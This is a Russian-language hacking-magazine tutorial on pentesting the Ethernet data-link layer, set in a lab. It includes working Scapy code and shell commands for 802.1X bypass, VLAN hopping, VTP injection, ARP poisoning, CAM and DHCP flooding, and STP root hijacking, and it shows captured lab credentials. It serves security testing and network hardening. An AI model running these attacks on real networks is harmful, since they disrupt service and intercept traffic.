Хакер - Ethernet Abyss. Большой гайд по пентесту канального уровня сети
hacker_frei
necreas1ng
Содержание статьи
- Импакт от атак
- Дисклеймер и вооружение
- Как обходить 802.1X
- MAC Authentication Bypass
- Bridge-based Attack
- CDP x LLDP
- Reconnaissance
- CDP Flooding
- Нападение на сети VLAN
- Динамический транк и побег в другие сегменты VLAN
- VTP-инъекции и манипуляции базами данных VLAN
- Атака двойного тегирования
- Сетевая разведка и перехват трафика с помощью ARP
- ARP Harvesting
- ARP Cache Poisoning
- Переполнение ассоциативной памяти коммутатора
- STP Root Hijacking
- Как работает STP
- Атака
- VLAN ID Enumeration
- Истощение и подмена DHCP-сервера
- DHCP Starvation
- DHCP Spoofing
- Выводы
Если злоумышленник атакует сеть на канальном уровне, он может перепрыгнуть через все средства защиты, настроенные на более высоких уровнях. В этой статье мы с тобой совершим увлекательное путешествие по большинству векторов атак на этот самый низкий уровень сети.
WARNING
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
ИМПАКТ ОТ АТАК
Основная задача атакующего — получить доступ к ресурсам компьютерной сети или нарушить нормальную работу сети (Denial of Service). В большинстве случаев атаки канального уровня проводятся вместе, чтобы извлечь больше пользы от эксплуатации. Например, атака с переполнением ассоциативной памяти коммутатора создает идеальные условия для перехвата трафика. Атака на протокол DTP позволяет нарушителю совершить побег в другую сеть VLAN и скомпрометировать сегменты VLAN.
Атаки канального уровня можно разбить на три типа:
- MITM. Злоумышленник «встает посередине» между сетевыми устройствами и перехватывает трафик. Но при этом для легитимных хостов в сети видимых признаков атаки нет;
- DoS. Злоумышленник может провести разрушительную атаку на сетевое оборудование, чтобы вывести его из строя. Такие атаки в пентестах менее практичны и годятся только как отвлекающий маневр при редтиминге;
- несанкционированный доступ к сегментам сети. Злоумышленник, используя недостатки протоколов, непредсказуемым образом может получить доступ к тем участкам сети, доступа к которым быть не должно. Например, это атаки DTP VLAN Hopping, Double Tagging.
ДИСКЛЕЙМЕР И ВООРУЖЕНИЕ
На канальном уровне много векторов для атак типа «отказ в обслуживании». Прежде чем эксплуатировать их в ходе пентеста, обязательно согласуй свои шаги с заказчиком! Применение DoS-атак в рамках продакшена — штука специфичная. На мой взгляд, они полезнее всего при редтиминге для отвлечения синей команды.
Мы с тобой поюзаем следующие инструменты:
- Yersinia — фреймворк для проведения атак на L2 и стресс‑теста компьютерных сетей;
- Scapy — модуль Python для манипулирования сетевыми пакетами. Может служить как сниффером, так и пакетным инжектором;
- FENRIR — фреймворк, созданный для обхода 802.1X в сетях Ethernet.
КАК ОБХОДИТЬ 802.1X
IEEE 802.1X — это стандарт аутентификации и авторизации конечных абонентов на канальном уровне. Он поддерживает контроль доступа и не позволяет устройствам подключаться к локальной сети, не пройдя специальный процесс авторизации. Это позволяет существенно повысить уровень защищенности локальной сети, отсекая несанкционированные подключения. Для пентестеров 802.1X может оказаться серьезной проблемой.
MAC Authentication Bypass
Этот очень простой метод обхода 802.1X. MAB используется для устройств, которые не поддерживают аутентификацию 802.1x. Грубо говоря, это MAC-авторизация. MAB обойти очень просто. Нам нужно просто найти какое‑нибудь легитимное устройство, списать с него MAC-адрес и настроить этот MAC-адрес на сетевой интерфейс атакующей машины. Подключаемся к коммутатору и получаем доступ к сети. Не буду показывать эту атаку на практике, она слишком проста.
Bridge-based Attack
Самый популярный и эффективный метод обхода 802.1X — атака на основе моста. Для реализации нужно поместить свое устройство между легитимным клиентом, прошедшим аутентификацию 802.1X, и коммутатором. Коммутатор выступает в роли аутентификатора и обеспечивает связность между клиентом и сервером аутентификации.
Только у этой атаки есть одно ограничение. Чтобы ее проэксплуатировать в продакшене, нужно легитимное устройство, прошедшее аутентификацию 802.1X. Им может быть какой‑нибудь принтер, IP-телефон, возможно, ты сумеешь отыскать ноутбук какого‑нибудь сотрудника.
Для демонстрации атаки я буду использовать инструмент FENRIR.


Для начала нам надо перевести физические интерфейсы в режим promiscious (неразборчивый режим):
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc
Запускаем FENRIR и назначаем IP-адрес легитимного устройства, его MAC-адрес и два интерфейса нашей атакующей машины. В боевых условиях всю информацию ты сможешь найти, прослушивая трафик. В качестве hostIface выступит интерфейс, смотрящий в сторону легитимного устройства, netIface — это интерфейс, который смотрит в сторону коммутатора. После этого создаем бридж, он будет называться FENRIR.
c0ldheim@PWN:~$ sudo python2 Interface.py
FENRIR > set host_ip 10.1.1.3
FENRIR > set host_mac 50:00:00:04:00:00
FENRIR > set hostIface eth1
FENRIR > set netIface eth0
FENRIR > create_virtual_tap
После создания бриджа его необходимо настроить. Переключаем его в режим promiscious, назначаем желаемый IP-адрес с соблюдением маски подсети. В конце добавляем маршрут по умолчанию для созданного бриджа FENRIR.
c0ldheim@PWN:~$ sudo ifconfig FENRIR promisc
c0ldheim@PWN:~$ sudo ifconfig FENRIR 10.1.1.50 netmask 255.255.255.0
c0ldheim@PWN:~$ sudo route add default gw 10.1.1.254 FENRIR
Командой run в консоли инструмента FENRIR начинаем атаку.
FENRIR > run
Теперь у нас есть доступ к сети, можем провести дальнейшую сетевую разведку, обнаружить соседей в этой сети. Запускаем ARP-сканирование с помощью netdiscover.

Проверим, доступен ли путь к маршрутизатору.

После эксплуатации атаки легитимный хост не потерял соединение и имеет доступ в интернет.


CDP X LLDP
Reconnaissance
Дамп трафика CDP/LLDP дает большой импакт, поскольку нарушитель получает много информации о сетевом устройстве — начиная от модели устройства и заканчивая даже типом дуплекса. Информация, полученная из дампа трафика CDP/LLDP, будет полезной для злоумышленника. Он может ее использовать, чтобы определить версию прошивки коммутатора. Если в ней найдется известная уязвимость, то злоумышленник сможет провести атаку.


CDP Flooding
Злоумышленник может вызвать отказ в обслуживании коммутатора Cisco, если разошлет огромное количество сообщений CDP. Центральный процессор коммутатора будет полностью перегружен, а таблица соседей CDP начнет переполняться. Атака достаточно простая, поэтому много о ней говорить не буду.

Чтобы провести эту атаку, воспользуемся Yersinia. Нас интересует опция flooding CDP table, она вызовет лавинную и очень быструю рассылку кадров CDP, которые приведут к перегрузке центрального процессора коммутатора, что сделает невозможной нормальную работу сети.




НАПАДЕНИЕ НА СЕТИ VLAN
Динамический транк и побег в другие сегменты VLAN
Эта атака применима только к коммутаторам Cisco. Суть атаки заключается в том, чтобы принудительно перевести порт в режим магистрального канала. За автоматический транкинг на коммутаторах Cisco отвечает протокол DTP. По умолчанию все порты коммутатора Cisco находятся в режиме DTP Dynamic Auto. Это означает, что порт будет ожидать инициацию транка с соседнего порта. Атакующему остается только отправить специально подготовленный кадр DTP Desirable, и он сможет совершить прыжок абсолютно в любую сеть VLAN и видеть трафик всех сетей VLAN. Подробнее об этой атаке ты сможешь узнать из моей статьи «Как взломать протокол DTP и совершить побег в другую сеть VLAN».

Соберем кадр DTP Desirable с помощью Scapy. Для начала необходимо импортировать модуль для работы с протоколом DTP:
>>> from.scapy.contrib.dtp import *
Собираем фрейм Ethernet 802.3, MAC-адрес источника будет рандомизированным, а в качестве MAC-адреса назначения будет адрес мультикастовой L2-рассылки 01:00:0C:CC:CC:CC.
INFO
Мультикастовый адрес 01:00:0C:CC:CC:CC используется не только протоколом DTP, но и другими, например CDP, VTP, PAgP, UDLD. Чтобы протоколы отличались друг от друга при отправке объявлений по одинаковому мультикастовому адресу, для них реализовано уникальное значение в заголовке SNAP на уровне LLC (Logical Link Control). Для DTP это значение равно 0x2004.
Не забываем о слоях LLC и SNAP с указанием значения 0x2004, определяющего, что это именно протокол DTP. Значения заголовков в tlvlist оставляем по умолчанию, кроме DTPNeighbor. И в конце зациклим отправку собранного кадра — пусть шлется раз в три секунды. Потому что если порт был сконфигурирован динамически, то время его жизни всего 300 секунд (5 минут).
>>> mymac = RandMAC()
>>> dtp_frame = Dot3(src=mymac, dst="01:00:0C:CC:CC:CC")
>>> dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)
>>> dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])
>>> sendp(dtp_frame, iface="eth0", inter=3, loop=1, verbose=1)
Почему‑то в Scapy в дефолтном кадре DTP по умолчанию хранятся все необходимые значения, чтобы собрать именно кадр DTP Desirable. Я пока не знаю, с чем это связано, но нам это на руку: сэкономим время. Поэтому мы оставили параметры DTP по умолчанию (за исключением DTPNeighbor).
Однако вкратце расскажу о самых важных для нас заголовках и их значениях:
DTPType = '\xa5'— значение заголовка, указывающее на использование инкапсуляции 802.1Q;DTPStatus = '\x03'— значение заголовка, указывающее на статус DTP-кадра. Это статусDesirable, то, что нам нужно для инициации магистрального режима порта.

После проведения атаки мы можем видеть трафик всех сетей VLAN. В результате сетевой разведки обнаружены сети VLAN 100, 200, 220 и 250. Эти значения VLAN ID расположены в одном из заголовков протокола STP — Root Identifier (Root Bridge System ID Extension).

Теперь необходимо создать виртуальные интерфейсы VLAN, поднять их и запросить адрес по DHCP. В итоге мы сможем взаимодействовать со всеми хостами во всех сетях VLAN.
c0ldheim@PWN:~$ sudo vconfig add eth0 100
c0ldheim@PWN:~$ sudo vconfig add eth0 200
c0ldheim@PWN:~$ sudo vconfig add eth0 220
c0ldheim@PWN:~$ sudo vconfig add eth0 250
c0ldheim@PWN:~$ sudo ifconfig eth0.100 up
c0ldheim@PWN:~$ sudo ifconfig eth0.200 up
c0ldheim@PWN:~$ sudo ifconfig eth0.220 up
c0ldheim@PWN:~$ sudo ifconfig eth0.250 up
c0ldheim@PWN:~$ sudo dhclient -v eth0.100
c0ldheim@PWN:~$ sudo dhclient -v eth0.200
c0ldheim@PWN:~$ sudo dhclient -v eth0.220
c0ldheim@PWN:~$ sudo dhclient -v eth0.250


VTP-инъекции и манипуляции базами данных VLAN
Протокол VTP был создан для того, чтобы автоматически и централизованно управлять базами данных VLAN на коммутаторах Cisco. Для этого используются номера ревизии конфигурации. С их помощью коммутатор определяет самую свежую базу данных VLAN, принимает объявления VTP и обновляет БД VLAN, увидев больший номер ревизии.
Роли коммутаторов в домене VTP
- VTP Server. Коммутатор в роли VTP Server может создавать новые VLAN, удалять старые или менять информацию в самих VLAN. Также он занимается генерированием объявлений VTP для остальных членов домена.
- VTP Client. Коммутатор в этой роли будет получать специальные анонсы VTP от других коммутаторов в домене, чтобы обновлять базы данных VLAN у себя. Клиенты ограничены в возможностях создавать VLAN и даже не имеют права локально изменять конфигурацию VLAN. Иначе говоря, доступ read only.
- VTP Transparent. В этом режиме коммутатор не участвует в процессах VTP и может вести у себя полное и локальное администрирование всей конфигурации VLAN. Работая в прозрачном режиме, коммутаторы занимаются только передачей объявлений VTP от других коммутаторов, не затрагивая свою конфигурацию сетей VLAN. У таких коммутаторов номер ревизии всегда будет равен нулю, и против них атаки с инъекцией VTP не провести.
Типы объявлений в домене VTP
- Summary Advertisement — объявление VTP, отправляемое сервером VTP каждые 300 секунд (5 минут). В этом объявлении хранится имя домена VTP, версия протокола, отметка времени и значение MD5-хеша конфигурации;
- Subset Advertisement — объявление VTP, которое отправляется при каждом изменении конфигурации VLAN;
- Advertisement Request — это запрос от клиента VTP к серверу VTP на сообщение
Summary Advertisement. Обычно рассылается в ответ на сообщение о том, что коммутатор обнаружилSummary Advertisementс бóльшим номером ревизии конфигурации.
Чтобы атаковать домен VTP, необходимо, чтобы порт, к которому ты подключен во время атаки, был в режиме магистрального канала. Кстати говоря, атака на VTP может быть следующим шагом после того, как ты атаковал протокол DTP и стал транковым каналом. Злоумышленник сможет проводить VTP-инъекции и отправлять якобы «обновленные» базы данных VLAN с бóльшим номером ревизии. Легитимные коммутаторы, в свою очередь, примут и обновят свои базы данных VLAN. Провести такую атаку нам поможет Yersinia. Рассмотрим атаку на VTPv1 с последующим удалением всех VLAN.



Yersinia сгенерирует специальные VTP-объявления Summary Advertisement и Subset Advertisement.

Как видим, после проведения атаки все созданные VLAN были удалены. VLAN 1 и VLAN в диапазоне 1002–1005 никуда не денутся, поскольку созданы по умолчанию.

Атака двойного тегирования
Атака двойного тегирования основана на использовании особенностей инкапсуляции 802.1Q в сетях Ethernet. В большинстве случаев коммутаторы исполняют только один уровень процесса, деинкапсуляции 802.1Q. Это открывает путь для эксплуатации, поскольку такая особенность позволяет пентестеру скрыть в кадре Ethernet вторую метку 802.1Q.
Вот как в деталях происходит атака:
- Злоумышленник собирает кадр Ethernet с двумя тегами и отправляет его в сторону коммутатора. VLAN ID первой метки 802.1Q должна совпадать со значением Native VLAN порта, находящегося в магистральном режиме. Для удобства восприятия представим, что первая метка 802.1Q будет VLAN 1, а вторая метка 802.1Q — VLAN 100
- Кадр попадает на коммутатор SW 1. Коммутатор проверяет первые четыре байта метки 802.1Q. Коммутатор видит, что кадр предназначен для VLAN 1, которая в его конфигурации является сетью Native VLAN. Коммутатор SW1 уничтожает эту метку. В это же время вторая метка VLAN 100 остается целой и никуда не пропадает.
INFO
Native VLAN — это специальный VLAN, к которому коммутатор ассоциирует все кадры без тега 802.1Q. По умолчанию идентификатор Native VLAN равен единице.
- Далее коммутатор SW2 проверяет только внутреннюю метку 802.1Q и видит, что данный кадр предназначен для сети VLAN 100. Этот коммутатор отправляет кадр на порт, который принадлежит сети VLAN 100, и кадр достигает своего пункта назначения.



Воспользуемся Scapy, чтобы собрать широковещательный кадр Ethernet с двумя метками 802.1Q. Также будет добавлен слой ICMP, чтобы наглядно показать, как кадр доберется до назначения и ответит на фальсифицированный запрос ICMP. Отправим этот запрос якобы от машины Nefarian под IP-адресом 10.10.200.1.
>>> frame = Ether(dst="FF:FF:FF:FF:FF:FF")
>>> first_DOT1Q_tag = Dot1Q(vlan=1)
>>> second_DOT1Q_tag = Dot1Q(vlan=100)
>>> ip_packet = IP(src="10.10.200.1", dst="10.10.100.1")
>>> icmp_layer = ICMP()
>>> crafted = frame / first_DOT1Q_tag / second_DOT1Q_tag / ip_packet / icmp_layer
>>> sendp(crafted, iface="eth0", count=40, loop=0, verbose=1)

Как видим, пакет прибежал на хост назначения, но с одной меткой VLAN ID 100, поскольку первый тег VLAN 1 был уничтожен первым коммутатором SW1. Имей в виду, что это односторонняя атака. Возможно, она будет полезна при нападении на сегмент DMZ во время пентеста.
СЕТЕВАЯ РАЗВЕДКА И ПЕРЕХВАТ ТРАФИКА С ПОМОЩЬЮ ARP
ARP Harvesting
Протокол ARP может быть очень полезен в рамках сетевой разведки. Сканирование ARP позволяет провести перечисление активных хостов и имеет небольшое преимущество перед ICMP-сканированием, поскольку трафик ICMP в корпоративной сети может быть ограничен, а то и вовсе выключен.
Проблема сканирования ARP в том, что это очень шумный способ сетевой разведки. С этим способом нужно быть осторожным, чтобы не спровоцировать тревогу систем безопасности IPS/IDS. Да и на порте, к которому ты подключен, может быть сконфигурирован Storm Control, блокирующий порт при аномальном широковещательном трафике (трафик протокола ARP — широковещательный).
C помощью ARPScanner.py можем обнаружить активные хосты в сети 10.1.1.0/24 и их MAC-адреса. В моем случае тестовая сеть маленькая, но тем не менее.
c0ldheim@PWN:~$ sudo python3 ARPScanner.py -t 10.1.1.0/24 -i eth0

ARP Cache Poisoning
Техника этой сетевой атаки заключается в использовании недостатков протокола ARP. Абсолютно любой хост в сети может вызывать ARP-запросы и принимать их, они это делают без механизма аутентификации (в протоколе ARP не предусмотрен механизм аутентификации), поэтому все хосты доверяют друг другу. Злоумышленнику достаточно отправить фальсифицированные ответы ARP в сторону цели A и цели B. С помощью подделывания ответов ARP компьютер атакующего позиционируется целью А для цели B и наоборот, тем самым встав посередине. Это создает условия для перехвата трафика.
На картинке ниже представлен пример отравления кеша ARP.

Перейдем к практике. Для начала необходимо переключить наш интерфейс в неразборчивый режим и разрешить форвардинг между интерфейсами. Иначе два хоста потеряют связность между собой, ведь трафик будет идти через нас, а форвардинга между интерфейсами нет.
c0ldheim@PWN:~$ ifconfig eth0 promisc
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
С помощью скрипта ARPSpoofer.py запускаем процесс отравления ARP. В качестве первой цели укажем машину на Windows с IP-адресом 10.1.1.2, в качестве второй — FTP-сервер с адресом 10.1.1.5.
c0ldheim@PWN:~$ sudo python3 ARPSpoofer.py -t1 10.1.1.2 -t2 10.1.1.5 -i eth0
После этого можно переходить к этапу прослушивания сетевого трафика.

ПЕРЕПОЛНЕНИЕ АССОЦИАТИВНОЙ ПАМЯТИ КОММУТАТОРА
Иногда такая атака называется переполнением таблицы MAC-адресов. Принцип этой атаки состоит в том, чтобы вызвать переполнение коммутационной матрицы. В случае чего коммутатор, грубо говоря, превращается в хаб и начинает рассылать поступающие кадры во все порты, что вызывает идеальные условия для перехвата трафика. Вызывать переполнение очень просто, ведь у коммутаторов ограничен размер таблиц MAC-адресов. При заполнении таблицы MAC-адресов злоумышленник сможет видеть все рассылаемые кадры из всех портов.

Воспользуемся Scapy, чтобы провести такую атаку. В качестве MAC-адреса источника пусть будет рандомизированный MAC-адрес, каждый новый генерирующийся кадр будет с новым MAC-адресом. MAC-адресов назначения это тоже касается.
Далее с помощью метода sendp выполняем рассылку фиктивных кадров Ethernet. Задав loop = 1, зациклим отправку этих кадров.
>>> malicious_frames = Ether(src=RandMAC(), dst=RandMAC())
>>> sendp(malicious_frames, iface="eth0", loop=1, verbose=1)

Таблица MAC-адресов коммутатора до атаки:
CoreSW#show mac address-table count
Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count : 3
Static Address Count : 0
Total Mac Addresses : 3
Total Mac Address Space Available: 7981
Таблица MAC-адресов коммутатора после атаки:
CoreSW#show mac address-table count
Mac Entries for Vlan 1:
---------------------------
Dynamic Address Count : 7981
Static Address Count : 0
Total Mac Addresses : 7981
Total Mac Address Space Available: 7981
Пока таблица MAC-адресов не заполнена, коммутатор будет передавать все кадры из всех портов, используя широковещательную рассылку.
STP ROOT HIJACKING
Как работает STP
STP необходим для того, чтобы обеспечить отказоустойчивость компьютерной сети на канальном уровне. Для этого блокируются избыточные каналы, чтобы не вызвать в сети широковещательный шторм. По моему мнению, STP — это устаревший метод организации отказоустойчивости на уровне L2, учитывая, что есть система агрегирования коммутационных каналов и технология Storm Control.
Когда топология STP только собирается, назначается специальный корневой коммутатор (иначе говоря, root bridge). Выбор основывается на специальном значении приоритета (по умолчанию это значение эквивалентно 32 768). У всех коммутаторов в домене STP это значение одинаковое, поэтому выбор определяется сложением следующих параметров:
- значение приоритета 32 768;
- MAC-адрес коммутатора.
Коммутатор, у которого меньше MAC-адрес, станет корневым коммутатором. Производители сетевых устройств назначают MAC-адреса своим детищам последовательно. Чем старее устройство, тем его MAC-адрес меньше. От этого в продакшене корневым коммутатором часто становится какой‑нибудь древний свитч!
Пропускная способность сети от этого, конечно, страдает.
После того как прошли выборы корневого коммутатора, остальные свитчи выбирают порты, которые смотрят в сторону корневого коммутатора. Их используют для форвардинга трафика. Затем будут выбраны порты, которые заблокируются на логическом уровне. Таким образом STP позволяет избежать возникновения коммутационного кольца, вызывающего широковещательный шторм.
Атака
Но если в домене STP внезапно появится новый коммутатор, приоритет которого ниже, чем приоритет текущего корневого коммутатора, будет выбран новый корневой коммутатор. Таким образом, изменяя структуру топологии STP, можно перехватывать легитимный сетевой трафик.

Для начала переведем наши физические интерфейсы в неразборчивый режим, создадим мост br-evil и назначим этому мосту два интерфейса eth0 и eth1:
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc
c0ldheim@PWN:~$ sudo ifconfig eth1 promisc
c0ldheim@PWN:~$ sudo brctl addbr br-evil
c0ldheim@PWN:~$ sudo brctl addif br-evil eth0
c0ldheim@PWN:~$ sudo brctl addif br-evil eth1
c0ldheim@PWN:~$ sudo ifconfig br-evil promisc
c0ldheim@PWN:~$ sudo ifconfig br-evil up
Теперь нужно разрешить форвардинг трафика между интерфейсами.
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
Нам пригодится Scapy — собрать специальный STP-фрейм. Необходимо импортировать модуль для работы с протоколами L2.
>>> from scapy.layers.l2 import *
Затем собираем необходимый кадр STP с наименьшим значением MAC-адреса в переменных src,rootmac и bridgemac. И напоследок зациклим отправку этого фрейма раз в 3 секунды:
>>> frame = Ether(src="00:00:00:00:00:11", dst="01:80:C2:00:00:00")
>>> frame /= LLC()/STP(rootmac="00:00:00:00:00:11", bridgemac="00:00:00:00:00:11")
>>> sendp(frame, iface="br-evil", inter=3, loop=1, verbose=1)
INFO
Для рассылки служебных TCN-сообщений STP использует MAC-адрес мультикастовой рассылки 01:80:C2:00:00:00.
После отправки созданного нами фрейма видим сообщения STP TCN. Они используются для того, чтобы коммутаторы в домене STP обменивались служебной информацией между собой.

Состояние STP на коммутаторе SW1 после атаки:
VLAN0001
Spanning tree enabled protocol rstp
Root ID Priority 32769
Address 5000.0007.0000
Cost 4
Port 1 (GigabitEthernet0/0)
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
Address 5000.0008.0000
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0 Root FWD 4 128.1 Shr
Gi0/1 Desg FWD 4 128.2 Shr
Gi0/2 Desg FWD 4 128.3 Shr
Gi0/3 Desg FWD 4 128.4 Shr
Gi1/0 Desg FWD 4 128.5 Shr
Gi1/1 Desg FWD 4 128.6 Shr
Gi1/2 Desg FWD 4 128.7 Shr
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi1/3 Desg FWD 4 128.8 Shr
Состояние STP на коммутаторе SW2 после атаки:
VLAN0001
Spanning tree enabled protocol rstp
Root ID Priority 32769
Address 5000.0007.0000
Cost 8
Port 1 (GigabitEthernet0/0)
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
Address 5000.0009.0000
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0 Root FWD 4 128.1 Shr
Gi0/1 Altn BLK 4 128.2 Shr
Gi0/2 Desg FWD 4 128.3 Shr
Gi0/3 Desg FWD 4 128.4 Shr
Gi1/0 Desg FWD 4 128.5 Shr
Gi1/1 Desg FWD 4 128.6 Shr
Gi1/2 Desg FWD 4 128.7 Shr
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi1/3 Desg FWD 4 128.8 Shr
Состояние STP на коммутаторе SW3 после атаки:
VLAN0001
Spanning tree enabled protocol rstp
Root ID Priority 32769
Address 5000.0007.0000
Cost 4
Port 1 (GigabitEthernet0/0)
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Bridge ID Priority 32769 (priority 32768 sys-id-ext 1)
Address 5000.000a.0000
Hello Time 2 sec Max Age 20 sec Forward Delay 15 sec
Aging Time 300 sec
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi0/0 Root FWD 4 128.1 Shr
Gi0/1 Altn BLK 4 128.2 Shr
Gi0/2 Desg FWD 4 128.3 Shr
Gi0/3 Desg FWD 4 128.4 Shr
Gi1/0 Desg FWD 4 128.5 Shr
Gi1/1 Desg FWD 4 128.6 Shr
Gi1/2 Desg FWD 4 128.7 Shr
Interface Role Sts Cost Prio.Nbr Type
------------------- ---- --- --------- -------- --------------------------------
Gi1/3 Desg FWD 4 128.8 Shr

Теперь трафик побежит через наш компьютер. Для наглядности инициирую ICMP-запросы от компьютера с IP-адресом 10.1.1.100 до компьютера под IP-адресом 10.1.1.200.

Вот таким достаточно несложным способом можно перехватывать трафик. При этом для легитимных хостов видимых признаков атаки нет.
VLAN ID Enumeration
С помощью обнаруженного кадра STP можно понять, в какой сети VLAN ты находишься. Информация о VLAN ID расположена в заголовке Root Identifier (Root Bridge System ID Extension). Его значение эквивалентно значению VLAN ID на порте, к которому ты подключен.



ИСТОЩЕНИЕ И ПОДМЕНА DHCP-СЕРВЕРА
DHCP Starvation
Эта атака основана на проведении рассылок огромного количества сообщений DHCPDISCOVER с целью истощить адресное пространство на сервере DHCP. Сервер DHCP будет реагировать на каждый запрос и выдавать IP-адрес. После переполнения допустимого адресного пространства сервер DHCP больше не сможет обслуживать новых клиентов в своей сети, выдавая им IP-адреса.

Протестируем эту атаку на небольшой локальной сети. DHCP-сервер уже настроен на маршрутизаторе GW. Подсеть — 10.1.1.0/24.

С помощью Scapy вызовем рассылку фейковых DHCPDISCOVER. В качестве MAC-адреса назначения и IP-адреса назначения выступят адреса широковещательной рассылки. Добавим слой протокола UDP, поскольку протокол DHCP использует его. В шаблоне options укажем, что мы будем рассылать пакеты DHCP типа DISCOVER И в конце зациклим бесконечную отправку генерируемых фреймов.
>>> malicious_dhcp_discover = Ether(src=RandMAC(), dst="FF:FF:FF:FF:FF:FF")
>>> malicious_dhcp_discover /= IP(src="0.0.0.0",dst="255.255.255.255")
>>> malicious_dhcp_discover /= UDP(sport=68, dport=67)
>>> malicious_dhcp_discover /= BOOTP(op=1, chaddr = RandMAC())
>>> malicious_dhcp_discover /= DHCP(options=[('message-type', 'discover'),('end')])
>>> sendp(malicious_dhcp_discover, iface="eth0", loop=1, verbose=1)



Сервер DHCP выведен из строя, теперь можно приступить к созданию его ложного аналога.
DHCP Spoofing
После вывода из строя легитимного DHCP-сервера злоумышленник может поднять на своей стороне фейковый DHCP-сервер, заявив, что именно он и является шлюзом по умолчанию. Когда DHCP-сервер выдает IP-адреса хостам в сети, там передается и информация об IP-адресе шлюза по умолчанию. Поэтому, настраивая такой DHCP-сервер, в качестве default gateway укажем наш IP-адрес. После того как клиент получит адрес, сделав запрос к нам, на его стороне мы будем шлюзом по умолчанию и он будет направлять свои пакеты нам. Это создает идеальные условия для проведения атак типа MITM.
Воспользуемся Yersinia, чтобы поднять ложный сервер DHCP.


Теперь на машине с Windows 10 с помощью двух команд вызовем обновление IP-адреса, то есть попробуем получить адрес из созданного нами ложного сервера DHCP:
C:\Windows\system32> ipconfig /release
C:\Windows\system32> ipconfig /renew

Как видим, клиент получил IP-адрес и информацию о шлюзе по умолчанию. Теперь можно попытаться перехватить трафик, поскольку весь трафик клиента будет идти к нам.
Переключим наш интерфейс в неразборчивый режим и разрешим форвардинг трафика на интерфейсе:
c0ldheim@PWN:~$ sudo ifconfig eth0 promisc
c0ldheim@PWN:~$ sudo sysctl -w net.ipv4.ip_forward=1
В итоге нам удалось перехватить незашифрованный FTP-трафик с кредами nightmare:nightmare.

ВЫВОДЫ
В этой статье я разобрал большинство сценариев атак на канальный уровень компьютерной сети. Исходя из личного опыта пентестов, могу сказать, что протоколы уровня L2 очень часто остаются без должного внимания и в большинстве случаев работают с конфигурацией по умолчанию. Этим, как ты видишь, может воспользоваться злоумышленник.
Атаки L2 в последнее время утратили актуальность и немного вышли из моды: сейчас мало кто обращает на них внимание. Возможно, эта статья подарит пентестерам новые варианты атак, а сетевые инженеры после прочтения смогут повысить уровень защищенности своих сетей.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei